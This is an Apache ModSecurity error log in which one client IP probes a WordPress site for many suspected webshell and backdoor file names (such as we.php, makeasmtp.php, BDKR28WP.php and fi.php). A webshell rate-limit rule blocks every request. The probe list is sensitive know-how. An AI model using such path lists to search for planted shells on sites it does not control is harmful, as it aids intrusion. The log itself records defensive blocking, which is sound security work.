[Fri Apr 24 02:18:14.575682 2026] [:error] [pid 42973:tid 43050] [client 74.234.74.247:1879] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aepiZm6I0QqmmmLTHE2K1AAAAIc"]
[Fri Apr 24 02:18:15.102370 2026] [:error] [pid 42973:tid 43056] [client 74.234.74.247:1894] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aepiZ26I0QqmmmLTHE2K2AAAAI0"]
[Fri Apr 24 02:18:15.668704 2026] [:error] [pid 64967:tid 64979] [client 74.234.74.247:1958] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aepiZ4AV4GfOOdX8QzqcGAAAAYo"]
[Fri Apr 24 02:18:16.289987 2026] [:error] [pid 43083:tid 43092] [client 74.234.74.247:1883] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aepiaDC5hrvNXosL83KyHgAAAMc"]
[Fri Apr 24 02:18:16.822358 2026] [:error] [pid 65000:tid 65044] [client 74.234.74.247:1900] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aepiaL6vRb9j6psK2ZaNjAAAAgs"]
[Fri Apr 24 02:18:17.365922 2026] [:error] [pid 65000:tid 65039] [client 74.234.74.247:1997] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aepiab6vRb9j6psK2ZaNkAAAAgY"]
[Fri Apr 24 02:18:17.941848 2026] [:error] [pid 65000:tid 65038] [client 74.234.74.247:1954] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aepiab6vRb9j6psK2ZaNlAAAAgU"]
[Fri Apr 24 02:18:18.497461 2026] [:error] [pid 42971:tid 42990] [client 74.234.74.247:1919] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aepiajEP2_5RswrH8bFUUgAAAAQ"]
[Fri Apr 24 02:18:20.047756 2026] [:error] [pid 25635:tid 25661] [client 74.234.74.247:1794] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aepibMRxv6UsgRGKB3JTxwAAARY"]
[Fri Apr 24 02:18:20.571068 2026] [:error] [pid 46953:tid 46957] [client 74.234.74.247:1796] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aepibEnlpdHh-P6wKbp-3wAAAkE"]
[Fri Apr 24 02:18:21.082421 2026] [:error] [pid 59700:tid 59723] [client 74.234.74.247:1881] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aepibZXyGZJFeAIDWtl8rQAAAVU"]
[Fri Apr 24 02:18:21.614330 2026] [:error] [pid 65000:tid 65031] [client 74.234.74.247:1888] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aepibb6vRb9j6psK2ZaNogAAAgI"]
[Fri Apr 24 02:18:22.172297 2026] [:error] [pid 42972:tid 43031] [client 74.234.74.247:1965] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aepibsOAb-3sOknsk4fMjwAAAE8"]
[Fri Apr 24 02:18:22.684897 2026] [:error] [pid 42973:tid 43062] [client 74.234.74.247:6236] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aepibm6I0QqmmmLTHE2K6QAAAJM"]
[Fri Apr 24 02:18:23.801874 2026] [:error] [pid 42972:tid 43036] [client 74.234.74.247:1947] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aepib8OAb-3sOknsk4fMmAAAAFQ"]
[Fri Apr 24 02:18:24.362551 2026] [:error] [pid 42973:tid 43063] [client 74.234.74.247:1903] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aepicG6I0QqmmmLTHE2K7QAAAJQ"]
[Fri Apr 24 02:18:24.956673 2026] [:error] [pid 42973:tid 43050] [client 74.234.74.247:1983] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aepicG6I0QqmmmLTHE2K7wAAAIc"]
[Fri Apr 24 02:18:25.506988 2026] [:error] [pid 42973:tid 43062] [client 74.234.74.247:1886] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aepicW6I0QqmmmLTHE2K9AAAAJM"]
[Fri Apr 24 02:18:26.018191 2026] [:error] [pid 64967:tid 64990] [client 74.234.74.247:1841] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aepicoAV4GfOOdX8QzqcHQAAAZU"]
[Fri Apr 24 02:18:26.554341 2026] [:error] [pid 46953:tid 46979] [client 74.234.74.247:1973] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aepicknlpdHh-P6wKbp-4QAAAlY"]
[Fri Apr 24 02:18:27.167143 2026] [:error] [pid 64998:tid 65011] [client 74.234.74.247:1742] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aepic4V5EysYcTLjmwhA5gAAAck"]
[Fri Apr 24 02:18:27.733669 2026] [:error] [pid 65000:tid 65031] [client 74.234.74.247:1780] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aepic76vRb9j6psK2ZaNvQAAAgI"]
[Fri Apr 24 02:18:28.273046 2026] [:error] [pid 43083:tid 43101] [client 74.234.74.247:1911] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aepidDC5hrvNXosL83KyIwAAANA"]
[Fri Apr 24 02:18:28.784707 2026] [:error] [pid 42972:tid 43018] [client 74.234.74.247:1912] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aepidMOAb-3sOknsk4fMpgAAAEI"]
[Fri Apr 24 02:18:29.419071 2026] [:error] [pid 64998:tid 65009] [client 74.234.74.247:1820] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aepidYV5EysYcTLjmwhA6QAAAcc"]
[Fri Apr 24 02:18:30.064368 2026] [:error] [pid 64998:tid 65022] [client 74.234.74.247:1810] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aepidoV5EysYcTLjmwhA7QAAAdQ"]
[Fri Apr 24 02:18:30.894646 2026] [:error] [pid 42972:tid 43026] [client 74.234.74.247:6233] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aepidsOAb-3sOknsk4fMrgAAAEo"]
[Fri Apr 24 02:18:31.787712 2026] [:error] [pid 65000:tid 65057] [client 74.234.74.247:1773] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aepid76vRb9j6psK2ZaN3gAAAhg"]
[Fri Apr 24 02:18:32.627759 2026] [:error] [pid 64998:tid 65024] [client 74.234.74.247:1875] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aepieIV5EysYcTLjmwhA9QAAAdY"]
[Fri Apr 24 02:18:33.256273 2026] [:error] [pid 46953:tid 46968] [client 74.234.74.247:1835] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aepieUnlpdHh-P6wKbp-4wAAAkw"]
[Fri Apr 24 02:18:34.828406 2026] [:error] [pid 65000:tid 65040] [client 74.234.74.247:1975] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aepier6vRb9j6psK2ZaN6wAAAgc"]
[Fri Apr 24 02:18:35.365735 2026] [:error] [pid 64967:tid 64970] [client 74.234.74.247:1838] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aepie4AV4GfOOdX8QzqcHgAAAYE"]
[Fri Apr 24 02:18:35.951990 2026] [:error] [pid 42972:tid 43016] [client 74.234.74.247:1852] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aepie8OAb-3sOknsk4fM0gAAAEA"]
[Fri Apr 24 02:18:36.493131 2026] [:error] [pid 65000:tid 65029] [client 74.234.74.247:1823] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aepifL6vRb9j6psK2ZaN9QAAAgA"]
[Fri Apr 24 02:18:37.022382 2026] [:error] [pid 43083:tid 43107] [client 74.234.74.247:1814] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aepifTC5hrvNXosL83KyJAAAANY"]
[Fri Apr 24 02:18:37.559828 2026] [:error] [pid 64967:tid 64993] [client 74.234.74.247:1880] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aepifYAV4GfOOdX8QzqcHwAAAZg"]
[Fri Apr 24 02:18:38.123390 2026] [:error] [pid 65000:tid 65042] [client 74.234.74.247:1918] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aepifr6vRb9j6psK2ZaN_gAAAgk"]
[Fri Apr 24 02:18:38.695899 2026] [:error] [pid 42973:tid 43047] [client 74.234.74.247:1849] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aepifm6I0QqmmmLTHE2K-wAAAIQ"]
[Fri Apr 24 02:18:39.287880 2026] [:error] [pid 65000:tid 65049] [client 74.234.74.247:1842] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aepif76vRb9j6psK2ZaOBwAAAhA"]
[Fri Apr 24 02:18:39.847548 2026] [:error] [pid 64998:tid 65015] [client 74.234.74.247:1840] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aepif4V5EysYcTLjmwhA9wAAAc0"]
[Fri Apr 24 02:18:40.436728 2026] [:error] [pid 43083:tid 43087] [client 74.234.74.247:1898] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aepigDC5hrvNXosL83KyKAAAAMI"]
[Fri Apr 24 02:18:40.975036 2026] [:error] [pid 42972:tid 43025] [client 74.234.74.247:1962] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aepigMOAb-3sOknsk4fM8gAAAEk"]
[Fri Apr 24 02:18:41.514179 2026] [:error] [pid 42972:tid 43023] [client 74.234.74.247:1674] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aepigcOAb-3sOknsk4fM-gAAAEc"]
[Fri Apr 24 02:18:42.069584 2026] [:error] [pid 46953:tid 46981] [client 74.234.74.247:1750] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aepigknlpdHh-P6wKbp-7gAAAlg"]
[Fri Apr 24 02:18:42.621523 2026] [:error] [pid 42972:tid 43031] [client 74.234.74.247:1671] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aepigsOAb-3sOknsk4fNCgAAAE8"]
[Fri Apr 24 02:18:43.178418 2026] [:error] [pid 43083:tid 43103] [client 74.234.74.247:1743] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aepigzC5hrvNXosL83KyLAAAANI"]
[Fri Apr 24 02:18:43.735180 2026] [:error] [pid 64967:tid 64974] [client 74.234.74.247:1839] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepig4AV4GfOOdX8QzqcIgAAAYU"]
[Fri Apr 24 02:18:44.241889 2026] [:error] [pid 42972:tid 43033] [client 74.234.74.247:1726] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepihMOAb-3sOknsk4fNGAAAAFE"]
[Fri Apr 24 02:18:44.816076 2026] [:error] [pid 65000:tid 65037] [client 74.234.74.247:1976] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepihL6vRb9j6psK2ZaOEQAAAgQ"]
[Fri Apr 24 02:18:45.408672 2026] [:error] [pid 65000:tid 65043] [client 74.234.74.247:6209] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepihb6vRb9j6psK2ZaOEwAAAgo"]
[Fri Apr 24 02:18:45.960138 2026] [:error] [pid 64998:tid 65023] [client 74.234.74.247:1957] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aepihYV5EysYcTLjmwhA_gAAAdU"]
[Fri Apr 24 02:18:46.487017 2026] [:error] [pid 42972:tid 43033] [client 74.234.74.247:1799] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aepihsOAb-3sOknsk4fNKwAAAFE"]
[Fri Apr 24 02:18:47.050558 2026] [:error] [pid 46953:tid 46963] [client 74.234.74.247:1737] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aepih0nlpdHh-P6wKbp-8gAAAkc"]
[Fri Apr 24 02:18:47.592262 2026] [:error] [pid 42972:tid 43036] [client 74.234.74.247:1834] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aepih8OAb-3sOknsk4fNOQAAAFQ"]
[Fri Apr 24 02:18:48.149076 2026] [:error] [pid 42972:tid 43025] [client 74.234.74.247:1793] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aepiiMOAb-3sOknsk4fNPwAAAEk"]
